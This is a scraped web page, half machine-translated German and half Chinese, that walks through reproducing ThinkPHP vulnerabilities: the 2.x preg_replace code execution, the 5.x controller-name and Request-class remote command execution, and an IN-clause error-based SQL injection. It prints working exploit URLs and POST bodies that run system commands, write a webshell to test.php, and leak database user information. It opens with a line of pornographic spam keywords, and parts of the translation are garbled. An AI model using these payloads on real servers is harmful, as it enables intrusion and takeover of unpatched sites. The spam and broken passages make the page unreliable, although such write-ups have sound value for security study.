国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Inhaltsverzeichnis
ThinkPHP
1) Einführung " >1) Einführung
Common: Enth?lt einige ?ffentliche Dateien des Frameworks, Systemdefinitionen, Systemfunktionen und konventionelle Konfigurationen usw. Conf: Framework-Konfiguration Dateiverzeichnis" >ThinkPHP.php: Framework-EintragsdateiCommon: Enth?lt einige ?ffentliche Dateien des Frameworks, Systemdefinitionen, Systemfunktionen und konventionelle Konfigurationen usw. Conf: Framework-Konfiguration Dateiverzeichnis
$subject: Der zum Ersetzen verwendete Zielstring Oder Array " >$subject: Der zum Ersetzen verwendete Zielstring Oder Array
0x03 實驗原理" >0x03 實驗原理
二、5.0.23-rce
三.5-rce
四.In-sqlinjection-rce
個人總結(jié)
Heim PHP-Framework Denken Sie an PHP Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

Jan 04, 2023 pm 03:08 PM
thinkphp

Dieser Artikel vermittelt Ihnen relevantes Wissen über ThinkPHP und stellt haupts?chlich die relevanten Inhalte zum Wiederauftreten von ThinkPHP-Schwachstellen vor. Ich hoffe, dass er für alle hilfreich ist.

Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

ThinkPHP

1) Einführung

ThinkPHP ist ein kostenloses Open-Source-, schnelles und einfaches objektorientiertes, inl?ndisches, leichtes PHP-Entwicklungsframework.

ThinkPHP wird unter dem Open-Source-Protokoll Apache2 ver?ffentlicht. Es wurde für die agile WEB-Anwendungsentwicklung und die vereinfachte Anwendungsentwicklung auf Unternehmensebene entwickelt. Es verfügt über viele hervorragende Funktionen und Features wie kostenlose Open Source, schnell, einfach und objektorientiert. W?hrend ThinkPHP mehr als fünf Jahre Entwicklungszeit hinter sich hat, wurde es unter aktiver Beteiligung des Community-Teams kontinuierlich hinsichtlich Benutzerfreundlichkeit, Skalierbarkeit und Leistung optimiert und verbessert. Zahlreiche typische F?lle stellen sicher, dass es im Gesch?ftsleben stabil eingesetzt werden kann und Portalentwicklung.

ThinkPHP greift auf viele hervorragende ausl?ndische Frameworks und Modelle zurück, verwendet eine objektorientierte Entwicklungsstruktur und ein MVC-Modell, übernimmt ein Single-Entry-Modell usw. Es integriert die Aktionsideen von Struts und JSPs TagLib (Tag-Bibliothek), RORs ORM-Mapping und ActiveRecord-Modus. Es kapselt CURD und einige allgemeine Vorg?nge in der Projektkonfiguration, dem Import von Klassenbibliotheken, der Vorlagen-Engine, der Abfragesprache, der automatischen überprüfung und dem Ansichtsmodell. , Projektkompilierung, Caching-Mechanismus, SEO-Unterstützung, verteilte Datenbank, Verbindung und Umschaltung mehrerer Datenbanken, Authentifizierungsmechanismus und Skalierbarkeit weisen alle eine einzigartige Leistung auf.

Mit ThinkPHP k?nnen Sie Anwendungen bequemer und schneller entwickeln und bereitstellen. ThinkPHP selbst verfügt über viele originelle Funktionen und befürwortet das Prinzip der Einfachheit, der Entwicklung durch mich selbst und der Verwendung von m?glichst wenig Code, um mehr Funktionen auszuführen. Der Zweck besteht darin, die Entwicklung von WEB-Anwendungen einfacher und schneller zu machen

Nach dem Herunterladen und Dekomprimieren von ThinkPHP werden zwei Ordner erstellt: ThinkPHP und Examples. ThinkPHP muss nicht separat installiert werden, einfach per FTP den ThinkPHP-Ordner in das Webverzeichnis des Servers übertragen oder ihn in das lokale Webverzeichnis kopieren.

3) Beschreibung der ThinkPHP-Verzeichnisstruktur

ThinkPHP.php: Framework-EintragsdateiCommon: Enth?lt einige ?ffentliche Dateien des Frameworks, Systemdefinitionen, Systemfunktionen und konventionelle Konfigurationen usw. Conf: Framework-Konfiguration Dateiverzeichnis

Lang: Dateiverzeichnis der Systemsprache

Lib: Verzeichnis der Systembasisklassenbibliothek

Tpl: Verzeichnis der Systemvorlagen

Extend: Framework-Erweiterungen

4) Anforderungen an die ThinkPHP-Betriebsumgebung

thinkphp can Unterstützt eine Windows-/Unix-Serverumgebung, die eine Vielzahl von WEB-Servern und -Modi ausführen kann, einschlie?lich Apache, IIS und Nginx. Erfordert PHP5.2.0 oder h?here Versionsunterstützung, unterstützt MYSQL, MSSQL, PGSQL, SQLITE, ORACLE, LBASE und PDo sowie andere Datenbanken und Verbindungen. ThinkPHP selbst hat keine besonderen Modulanforderungen. Die spezifischen Anforderungen an die Betriebsumgebung des Anwendungssystems h?ngen von den an der Entwicklung beteiligten Modulen ab. Der Speicherverbrauch des zugrunde liegenden Betriebs von ThinkPHP ist ?u?erst gering und die Dateigr??e ist ebenfalls gering, sodass es keine Engp?sse bei der Speicherplatz- und Speichernutzung gibt. 1, 2-rce int &$count ]])

Suchen Sie nach dem Teil des Betreffs, der dem Muster entspricht, und ersetzen Sie ihn durch Ersetzung.

$pattern: Das zu durchsuchende Muster, das ein String oder ein String-Array sein kann

$replacement: Der zum Ersetzen verwendete String oder das Array

$subject: Der zum Ersetzen verwendete Zielstring Oder Array

$limit: Optional, die maximale Anzahl ersetzbarer Elemente für jede Betreffzeichenfolge für jedes Muster. Der Standardwert ist -1.

Wenn eine übereinstimmung gefunden wird, wird der ersetzte Betreff zurückgegeben. Wenn ein Fehler auftritt, wird NULL zurückgegeben.

Regul?rer Ausdruck: https://www.runoob.com/regexp/ regexp- syntax.html

  • 0x02 Experimentelle Schritte

  • Besuchen Sie die Seite und stellen Sie fest, dass es sich um ein CMS-Framework von Thinkphp handelt. Da die Sicherheitslücke reproduziert wird, wissen wir eindeutig, dass es sich um die Version 2.x handelt. Wenn Sie die Version nicht kennen, k?nnen Sie einen Fehler melden, indem Sie den Pfad zuf?llig eingeben oder die Fingerabdruckerkennung von Yunxi zur Erkennung verwenden

  • hier Ersetzen Sie einfach phpinfo() durch einen Satz Trojan und Sie werden erfolgreich sein!

    0x03 實驗原理

    1)通過觀察這句話,我們可以清楚的知道它是將

    ${@phpinfo()}

    作為變量輸出到了頁面顯示,其原理,我通過freebuf總結(jié)一下:

    在PHP當中, ${} 是可以構(gòu)造一個變量的, {} 寫的是一般字符,那么就會被當作成變量,比如 ${a} 等價于 $a

    thinkphp所有的主入口文件默認訪問index控制器(模塊)

    thinkphp所有的控制器默認執(zhí)行index動作(方法)

    http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數(shù)名/參數(shù)值...]

    數(shù)組$var在路徑存在模塊和動作時,會去除前面兩個值。而數(shù)組$var來自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。

    所以我們構(gòu)造poc如下:

    /index.php?s=a/b/c/${phpinfo()}

    /index.php?s=a/b/c/${phpinfo()}/c/d/e/f

    /index.php?s=a/b/c/d/e/${phpinfo()}.......

    2)換而言之,就是在thinphp的類似于MVC的框架中,存在一個Dispatcher.class.php的文件,它規(guī)定了如何解析路由,在該文件中,存在一個函數(shù)為static public function dispatch(),此為URL映射控制器,是為了將URL訪問的路徑映射到該控制器下獲取資源的,而當我們輸入的URL作為變量傳入時,該URL映射控制器會將變量以數(shù)組的方式獲取出來,從而導致漏洞的產(chǎn)生。

    類名為`Dispatcher`,class Dispatcher extends Think
    里面的方法有:
    static public function dispatch() URL映射到控制器
    public static function getPathInfo()  獲得服務器的PATH_INFO信息
    static public function routerCheck() 路由檢測
    static private function parseUrl($route)
    static private function getModule($var) 獲得實際的模塊名稱
    static private function getGroup($var) 獲得實際的分組名稱

    二、5.0.23-rce

    漏洞簡介

    ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個系列,系列不同,復現(xiàn)漏洞時也稍有不同。

    在ThinkPHP 5.x中造成rce(遠程命令執(zhí)行)有兩種原因

    1.路由對于控制器名控制不嚴謹導致RCE、

    2.Request類對于調(diào)用方法控制不嚴謹加上變量覆蓋導致RCE

    首先記錄這兩個主要POC:

    控制器名未過濾導致rce

    function為反射調(diào)用的函數(shù),vars[0]為傳入的回調(diào)函數(shù),vars[1][]為參數(shù)為回調(diào)函數(shù)的參數(shù)

    ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

    核心類Request遠程代碼執(zhí)行漏洞

    filter[]為回調(diào)函數(shù),get[]或route[]或server[REQUEST_METHOD]為回調(diào)函數(shù)的參數(shù),執(zhí)行回調(diào)函數(shù)的函數(shù)為call_user_func()

    核心版需要開啟debug模式

    POST /index.php?s=captch

    _ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

    or

    _ method=_construct&method=get&filter[]=system&get[]=pwd

    控制器名未過濾導致RCE

    0x01 簡介

    2018年12月9日,ThinkPHP v5系列發(fā)布安全更新v5.0.23,修復了一處可導致遠程代碼執(zhí)行的嚴重漏洞。在官方公布了修復記錄后,才出現(xiàn)的漏洞利用方式,不過不排除很早之前已經(jīng)有人使用了0day

    該漏洞出現(xiàn)的原因在于ThinkPHP5框架底層對控制器名過濾不嚴,從而讓攻擊者可以通過url調(diào)用到ThinkPHP框架內(nèi)部的敏感函數(shù),進而導致getshell漏洞

    最終確定漏洞影響版本為:

    ThinkPHP 5.0.5-5.0.22

    ThinkPHP 5.1.0-5.1.30

    理解該漏洞的關(guān)鍵在于理解ThinkPHP5的路由處理方式主要分為有配置路由和未配置路由的情況,在未配置路由的情況,ThinkPHP5將通過下面格式進行解析URL

    http://serverName/index.php(或者其它應用入口文件)/模塊/控制器/操作/[參數(shù)名/參數(shù)值...]

    同時在兼容模式下ThinkPHP還支持以下格式解析URL:

    http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[參數(shù)名/參數(shù)值...](參數(shù)以PATH_INFO傳入)
    http://serverName/index.php(或者其它應用入口文件)?s=/模塊/控制器/操作/[&參數(shù)名=參數(shù)值...]     (參數(shù)以傳統(tǒng)方式傳入)
    eg:
    http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
    http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8

    本次漏洞就產(chǎn)生在未匹配到路由的情況下,使用兼容模式解析url時,通過構(gòu)造特殊url,調(diào)用意外的控制器中敏感函數(shù),從而執(zhí)行敏感操作

    下面通過代碼具體解析ThinkPHP的路由解析流程

    0x02 路由處理邏輯詳細分析

    分析版本: 5.0.22

    跟蹤路由處理的邏輯,來完整看一下該漏洞的整體調(diào)用鏈:

    thinkphp/library/think/App.php

    116行,通過routeCheck()方法開始進行url路由檢測

    在routeCheck()中,首先提取$path信息,這里獲取$path的方式分別為pathinfo模式和兼容模式,pathinfo模式就是通過$_SERVER['PATH_INFO']獲取到的主要path信息,==$_SERVER['PATH_INFO']會自動將URL中的""替換為"/",導致破壞命名空間格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息會通過get的方式獲取,var_pathinfo的值默認為's',從而繞過了反斜杠的替換==,這里也是該漏洞的一個關(guān)鍵利用點

    檢測邏輯:如果開啟了路由檢測模式(配置文件中的url_on為true),則進入路由檢測,結(jié)果返回給$result,如果路由無效且設(shè)置了只允許路由檢測模式(配置文件url_route_must為true),則拋出異常。

    在兼容模式中,檢測到路由無效后(false === $result),則還會進入Route::parseUrl()檢測路由。我們重點關(guān)注這個路由解析方式,因為該方式我們通過URL可控:

    放回最終的路由檢測結(jié)果$result($dispath),交給exec執(zhí)行:

    $dispatch = self::routeCheck($request, $config);//line:116
    $data = self::exec($dispatch, $config);//line:139
    public static function routeCheck($request, array $config)//line:624-658
    {
            $path   = $request->path();
            $depr   = $config['pathinfo_depr'];
            $result = false;
            // 路由檢測
            $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
            if ($check) {
                // 開啟路由
                ……
                // 路由檢測(根據(jù)路由定義返回不同的URL調(diào)度)
                $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
                $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
                if ($must && false === $result) {
                    // 路由無效
                    throw new RouteNotFoundException();
                }
            }
            // 路由無效 解析模塊/控制器/操作/參數(shù)... 支持控制器自動搜索
            if (false === $result) {
                $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
            }
            return $result;
        }

    thinkphp/libary/think/Route.php

    跟蹤Route::parseUrl(),在注釋中可以看到大概解析方式

    $url主要同通過parseUrlPath()解析,跟蹤該函數(shù)發(fā)現(xiàn)程序通過斜杠/來劃分模塊/控制器/操作,結(jié)果為數(shù)組形式,然后將他們封裝為$route,最終返回['type'=>'moudle','moudle'=>$route]數(shù)組,作為App.php中$dispatch1值,并傳入exec()函數(shù)中

    注意這里使用的時 斜杠/來劃分每個部分,我們的控制器可以通過命名空間來調(diào)用,命名空間使用反斜杠\來劃分,正好錯過,這也是能利用的其中一個細節(jié)

    /**
         * 解析模塊的URL地址 [模塊/控制器/操作?]參數(shù)1=值1&參數(shù)2=值2...
         * @access public
         * @param string $url        URL地址
         * @param string $depr       URL分隔符
         * @param bool   $autoSearch 是否自動深度搜索控制器
         * @return array
    */
    public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276
        {
            $url              = str_replace($depr, '|', $url);
            list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo參數(shù)和變量
            $route            = [null, null, null];
            if (isset($path)) {
                // 解析模塊,依次得到$module, $controller, $action
              ……
              // 封裝路由
                $route = [$module, $controller, $action];
            }
            return ['type' => 'module', 'module' => $route];
        }

    thinkphp/library/think/Route.php

    private static function parseUrlPath($url)//line:1284-1302
        {
            // 分隔符替換 確保路由定義使用統(tǒng)一的分隔符
            $url = str_replace('|', '/', $url);
            $url = trim($url, '/');
            $var = [];
            if (false !== strpos($url, '?')) {
                // [模塊/控制器/操作?]參數(shù)1=值1&參數(shù)2=值2...
                $info = parse_url($url);
                $path = explode('/', $info['path']);
                parse_str($info['query'], $var);
            } elseif (strpos($url, '/')) {
                // [模塊/控制器/操作]
                $path = explode('/', $url);
            } else {
                $path = [$url];
            }
            return [$path, $var];
        }

    路由解析結(jié)果作為exec()的參數(shù)進行執(zhí)行,追蹤該函數(shù)

    thinkphp/library/think/App.php

    追蹤exec()函數(shù),傳入了$dispatch,$config兩個參數(shù),其中$dispatch為['type' => 'module', 'module' => $route]

    因為 type 為 module,直接進入對應流程,然后執(zhí)行module方法,其中傳入的參數(shù)$dispatch['module']為模塊\控制器\操作組成的數(shù)組

    跟蹤module()方法,主要通過$dispatch['module']獲取模塊$module, 控制器$controller, 操作$action,可以看到==提取過程中除了做小寫轉(zhuǎn)換,沒有做其他過濾操作==

    $controller將通過Loader::controller自動加載,這是ThinkPHP的自動加載機制,只用知道此步會加載我們需要的控制器代碼,如果控制器不存在會拋出異常,加載成功會返回$instance,這應該就是控制器類的實例化對象,里面保存的有控制器的文件路徑,命名空間等信息

    通過is_callable([$instance, $action])方法判斷$action是否是$instance中可調(diào)用的方法

    通過判斷后,會記錄$instacne,$action到$call中($call = [$instance, $action]),方便后續(xù)調(diào)用,并更新當前$request對象的action

    最后$call將被傳入self::invokeMethod($call, $vars)

    protected static function exec($dispatch, $config)//line:445-483
        {
            switch ($dispatch['type']) {
    ……
                case 'module': // 模塊/控制器/操作
                    $data = self::module(
                        $dispatch['module'],
                        $config,
                        isset($dispatch['convert']) ? $dispatch['convert'] : null
                    );
                    break;
                ……
                default:
                    throw new \InvalidArgumentException('dispatch type not support');
            }
            return $data;
        }
    public static function module($result, $config, $convert = null)//line:494-608
        {
            ……
            if ($config['app_multi_module']) {
                // 多模塊部署
              // 獲取模塊名
                $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
    ……
            }
    ……
            // 獲取控制器名
            $controller = strip_tags($result[1] ?: $config['default_controller']);
            $controller = $convert ? strtolower($controller) : $controller;
            // 獲取操作名
            $actionName = strip_tags($result[2] ?: $config['default_action']);
            if (!empty($config['action_convert'])) {
                $actionName = Loader::parseName($actionName, 1);
            } else {
                $actionName = $convert ? strtolower($actionName) : $actionName;
            }
            // 設(shè)置當前請求的控制器、操作
            $request->controller(Loader::parseName($controller, 1))->action($actionName);
          ……
            try {
                $instance = Loader::controller(
                    $controller,
                    $config['url_controller_layer'],
                    $config['controller_suffix'],
                    $config['empty_controller']
                );
            } catch (ClassNotFoundException $e) {
                throw new HttpException(404, 'controller not exists:' . $e->getClass());
            }
            // 獲取當前操作名
            $action = $actionName . $config['action_suffix'];
            $vars = [];
            if (is_callable([$instance, $action])) {
                // 執(zhí)行操作方法
                $call = [$instance, $action];
                // 嚴格獲取當前操作方法名
                $reflect    = new \ReflectionMethod($instance, $action);
                $methodName = $reflect->getName();
                $suffix     = $config['action_suffix'];
                $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
                $request->action($actionName);
            } elseif (is_callable([$instance, '_empty'])) {
                // 空操作
                $call = [$instance, '_empty'];
                $vars = [$actionName];
            } else {
                // 操作不存在
                throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
            }
            Hook::listen('action_begin', $call);
            return self::invokeMethod($call, $vars);
        }

    先提前看下5.0.23的修復情況,找到對應的commit,對傳入的控制器名做了限制

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    thinkphp/library/think/App.php

    跟蹤invokeMethod,其中 $method = $call = [$instance, $action]

    通過實例化反射對象控制$instace的$action方法,即控制器類中操作方法

    中間還有一個綁定參數(shù)的操作

    最后利用反射執(zhí)行對應的操作

    public static function invokeMethod($method, $vars = [])
        {
            if (is_array($method)) {
                $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
                $reflect = new \ReflectionMethod($class, $method[1]);
            } else {
                // 靜態(tài)方法
                $reflect = new \ReflectionMethod($method);
            }
            $args = self::bindParams($reflect, $vars);
            self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
            return $reflect->invokeArgs(isset($class) ? $class : null, $args);
        }

    以上便是ThinkPHP5.0完整的路由檢測,

    0x03 弱點利用

    如上我們知道,url 路由檢測過程并沒有對輸入有過濾,我們也知道通過url構(gòu)造的模塊/控制器/操作主要來調(diào)用對應模塊->對應的類->對應的方法,而這些參數(shù)通過url可控,我們便有可能操控程序中的所有控制器的代碼,接下來的任務便是尋找敏感的操作

    thinkphp/library/think/App.php

    public static function invokeFunction($function, $vars = [])//line:311-320
        {
            $reflect = new \ReflectionFunction($function);
            $args    = self::bindParams($reflect, $vars);
            // 記錄執(zhí)行信息
            self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
            return $reflect->invokeArgs($args);
        }

    該函數(shù)通過ReflectionFunction()反射調(diào)用程序中的函數(shù),這就是一個很好利用的點,我們通過該函數(shù)可以調(diào)用系統(tǒng)中的各種敏感函數(shù)。

    找到利用點了,現(xiàn)在就需要來構(gòu)造poc,首先觸發(fā)點在thinkphp/library/think/App.php中的invokeFunction,我們需要構(gòu)造url格式為模塊\控制器\操作

    模塊我們用默認模塊index即可,首先大多數(shù)網(wǎng)站都有這個模塊,而且每個模塊都會加載app.php文件,無須擔心模塊的選擇

    該文件的命名空間為think,類名為app,我們的控制器便可以構(gòu)造成\think\app。因為ThinkPHP使用的自動加載機制會識別命名空間,這么構(gòu)造是沒有問題的。

    操作直接為invokeFunction,沒有疑問

    參數(shù)方面,我們首先要觸發(fā)第一個調(diào)用函數(shù),簡化一下代碼再分析一下:

    第一行確定 $class 就是我們傳入的控制器\think\app實例化后的對象

    第二行綁定我們的方法,也就是invokefunction

    第三方就可以調(diào)用這個方法了,其中$args是我們的參數(shù),通過url構(gòu)造,將會傳入到invokefunction中

    $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
    $reflect = new \ReflectionMethod($class, $method[1]);
    return $reflect->invokeArgs(isset($class) ? $class : null, $args);

    然后就進入我們的invokefunctio,該函數(shù)需要什么參數(shù),我們就構(gòu)造什么參數(shù),首先構(gòu)造一個調(diào)用函數(shù)function=call_user_func_array

    call_user_func_array需要兩個參數(shù),第一個參數(shù)為函數(shù)名,第二個參數(shù)為數(shù)組,var[0]=system,var[1][0]=id

    這里因為兩次反射一次回調(diào)調(diào)用需要好好捋一捋。。。。

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    復現(xiàn)成功

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    三.5-rce

    0x01 漏洞原理

    ThinkPHP是一款運用極廣的PHP開發(fā)框架,其版本5中,由于沒有使用正確的控制器名,導致在網(wǎng)站沒有開啟強制路由的情況下(即默認情況下),可以執(zhí)行任意方法,從而導致遠程命令執(zhí)行漏洞。

    0x02 漏洞影響版本

    ThinkPHP 5.0.5-5.0.22

    ThinkPHP 5.1.0-5.1.30

    0x03 漏洞復現(xiàn)

    可以利用點:

    http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    vars[0]用來接受函數(shù)名,vars[1][]用來接收參數(shù)

    如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    會在屏幕上打出123和我們輸入的字符串長度

    寫入一句話木馬getshell

    使用file_put_contents函數(shù)寫入shell:

    vars[0]=system&vars[1][]=echo%20"">>test.php

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    使用蟻劍成功getshell!

    四.In-sqlinjection-rce

    0x01 了解的知識:

    pdo預編譯:

    當我們使用mysql語句進行數(shù)據(jù)查詢時,數(shù)據(jù)首先傳入計算機,計算機進行編譯之后傳入數(shù)據(jù)庫進行數(shù)據(jù)查詢

    (我們使用的是高級語言,計算機無法直接理解執(zhí)行,所以我們將命令或請求傳入計算機時,計算機首先將我們的語句編譯成為計算機語言,之后再進行執(zhí)行,所以如果不編譯直接執(zhí)行計算機是無法理解的,如傳入select函數(shù),沒編譯之前計算機只認為這是五個字符,而無法理解這是個查詢函數(shù))

    如此說來,我們每次查詢時都需要先編譯,這樣會加大成本,并且會存在sql注入的可能,所以有一定危險。

    如此,我們進行查詢數(shù)據(jù)庫數(shù)據(jù)時使用預編譯,例如:

    select ? from security where tables=?

    此語句中?代表占位符,在pdo中表示之后綁定的數(shù)據(jù),此時無法確定具體值

    用戶在傳入查詢具體數(shù)值時,計算機首先將以上的查詢語句進行編譯,使其具有執(zhí)行力,之后再對于?代表的具體數(shù)值就不進行編譯而直接進行查詢,所以我們在?處利用sql注入語句代替時,就不具有任何效力,甚至傳入字符串時還會報錯,而預編譯還可以節(jié)省成本,即上面語句除了查詢數(shù)值只編譯一次,之后進行相同語句查詢時直接使用,只是查詢具體數(shù)值改變。所以這種預編譯的方式可以很好的防止sql注入。

    漏洞上下文如下:

    <?php
    namespace app\index\controller;
    use app\index\model\User;
    class Index
    {
        public function index()
        {
            $ids = input(&#39;ids/a&#39;);
            $t = new User();
            $result = $t->where(&#39;id&#39;, &#39;in&#39;, $ids)->select();
        }
    }

    如上述代碼,如果我們控制了in語句的值位置,即可通過傳入一個數(shù)組,來造成SQL注入漏洞。

    文中已有分析,我就不多說了,但說一下為什么這是一個SQL注入漏洞。IN操作代碼如下:

    <?php
    ...
    $bindName = $bindName ?: &#39;where_&#39; . str_replace([&#39;.&#39;, &#39;-&#39;], &#39;_&#39;, $field);
    if (preg_match(&#39;/\W/&#39;, $bindName)) {
        // 處理帶非單詞字符的字段名
        $bindName = md5($bindName);
    }
    ...
    } elseif (in_array($exp, [&#39;NOT IN&#39;, &#39;IN&#39;])) {
        // IN 查詢
        if ($value instanceof \Closure) {
            $whereStr .= $key . &#39; &#39; . $exp . &#39; &#39; . $this->parseClosure($value);
        } else {
            $value = is_array($value) ? $value : explode(&#39;,&#39;, $value);
            if (array_key_exists($field, $binds)) {
                $bind  = [];
                $array = [];
                foreach ($value as $k => $v) {
                    if ($this->query->isBind($bindName . &#39;_in_&#39; . $k)) {
                        $bindKey = $bindName . &#39;_in_&#39; . uniqid() . &#39;_&#39; . $k;
                    } else {
                        $bindKey = $bindName . &#39;_in_&#39; . $k;
                    }
                    $bind[$bindKey] = [$v, $bindType];
                    $array[]        = &#39;:&#39; . $bindKey;
                }
                $this->query->bind($bind);
                $zone = implode(&#39;,&#39;, $array);
            } else {
                $zone = implode(&#39;,&#39;, $this->parseValue($value, $field));
            }
            $whereStr .= $key . &#39; &#39; . $exp . &#39; (&#39; . (empty($zone) ? "&#39;&#39;" : $zone) . &#39;)&#39;;
        }

    可見,$bindName在前邊進行了一次檢測,正常來說是不會出現(xiàn)漏洞的。但如果$value是一個數(shù)組的情況下,這里會遍歷$value,并將$k拼接進$bindName。

    也就是說,我們控制了預編譯SQL語句中的鍵名,也就說我們控制了預編譯的SQL語句,這理論上是一個SQL注入漏洞。那么,為什么原文中說測試SQL注入失敗呢?

    這就是涉及到預編譯的執(zhí)行過程了。通常,PDO預編譯執(zhí)行過程分三步:

    prepare($SQL)編譯SQL語句

    bindValue($param, $value)將value綁定到param的位置上

    execute()執(zhí)行

    這個漏洞實際上就是控制了第二步的$param變量,這個變量如果是一個SQL語句的話,那么在第二步的時候是會拋出錯誤的:

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    所以,這個錯誤“似乎”導致整個過程執(zhí)行不到第三步,也就沒法進行注入了。

    但實際上,在預編譯的時候,也就是第一步即可利用。我們可以做有一個實驗。編寫如下代碼:

    <?php
    $params = [
        PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_EMULATE_PREPARES  => false,
    ];
    $db = new PDO(&#39;mysql:dbname=cat;host=127.0.0.1;&#39;, &#39;root&#39;, &#39;root&#39;, $params);
    try {
        $link = $db->prepare(&#39;SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))&#39;);
    } catch (\PDOException $e) {
        var_dump($e);
    }

    執(zhí)行發(fā)現(xiàn),雖然我只調(diào)用了prepare函數(shù),但原SQL語句中的報錯已經(jīng)成功執(zhí)行:

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    究其原因,是因為我這里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。

    這個選項涉及到PDO的“預處理”機制:因為不是所有數(shù)據(jù)庫驅(qū)動都支持SQL預編譯,所以PDO存在“模擬預處理機制”。如果說開啟了模擬預處理,那么PDO內(nèi)部會模擬參數(shù)綁定的過程,SQL語句是在最后execute()的時候才發(fā)送給數(shù)據(jù)庫執(zhí)行;如果我這里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會模擬預處理,參數(shù)化綁定的整個過程都是和Mysql交互進行的。

    非模擬預處理的情況下,參數(shù)化綁定過程分兩步:第一步是prepare階段,發(fā)送帶有占位符的sql語句到mysql服務器(parsing->resolution),第二步是多次發(fā)送占位符參數(shù)給mysql服務器進行執(zhí)行(多次執(zhí)行optimization->execution)。

    這時,假設(shè)在第一步執(zhí)行prepare($SQL)的時候我的SQL語句就出現(xiàn)錯誤了,那么就會直接由mysql那邊拋出異常,不會再執(zhí)行第二步。我們看看ThinkPHP5的默認配置:

    ...
    // PDO連接參數(shù)
    protected $params = [
        PDO::ATTR_CASE              => PDO::CASE_NATURAL,
        PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
        PDO::ATTR_STRINGIFY_FETCHES => false,
        PDO::ATTR_EMULATE_PREPARES  => false,
    ];
    ...

    可見,這里的確設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構(gòu)造如下POC,即可利用報錯注入,獲取user()信息:

    http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

    Der Weg zum Penetrationstest: Wiederholung der ThinkPHP-Schwachstelle

    但是,如果你將user()改成一個子查詢語句,那么結(jié)果又會爆出Invalid parameter number: parameter was not defined的錯誤。因為沒有過多研究,說一下我猜測:預編譯的確是mysql服務端進行的,但是預編譯的過程是不接觸數(shù)據(jù)的 ,也就是說不會從表中將真實數(shù)據(jù)取出來,所以使用子查詢的情況下不會觸發(fā)報錯;雖然預編譯的過程不接觸數(shù)據(jù),但類似user()這樣的數(shù)據(jù)庫函數(shù)的值還是將會編譯進SQL語句,所以這里執(zhí)行并爆了出來。

    個人總結(jié)

    其實ThinkPH框架漏洞大多用到的都是設(shè)置對于控制器名的一個疏忽問題,不理解的小伙伴可以查來url調(diào)用文件的機制來學習一下,其實這些框架漏洞都是基于基礎(chǔ)漏洞的一些拓展,至于sql漏洞,了解一下pdo預編譯原理即可。

    不管java或是php在進行數(shù)據(jù)庫查詢的時候都應該進行pdo預編譯,我們都知道,在jdbc工作的時候分成好多步

    1.建立連接

    2.寫入sql語句

    3.預編譯sql語句

    4.設(shè)置參數(shù)

    5.執(zhí)行sql獲取結(jié)果

    6.遍歷結(jié)果(處理結(jié)果)

    7.關(guān)閉連接

    對于程序員來說,jdbc操作總是很麻煩,所以利用預編譯就是將mysql查詢語句進行封裝,之后在進行查詢的時候直接輸入?yún)?shù)即可,這樣即簡化了操作也極大程度加強了安全屬性,而以此類推,這樣來說我們是否可以將其他步驟也進行封裝呢,也就是建立連接,寫入sql語句等,只留下寫入sql語句與遍歷結(jié)果來進行操作,這樣就更加簡化了操作。

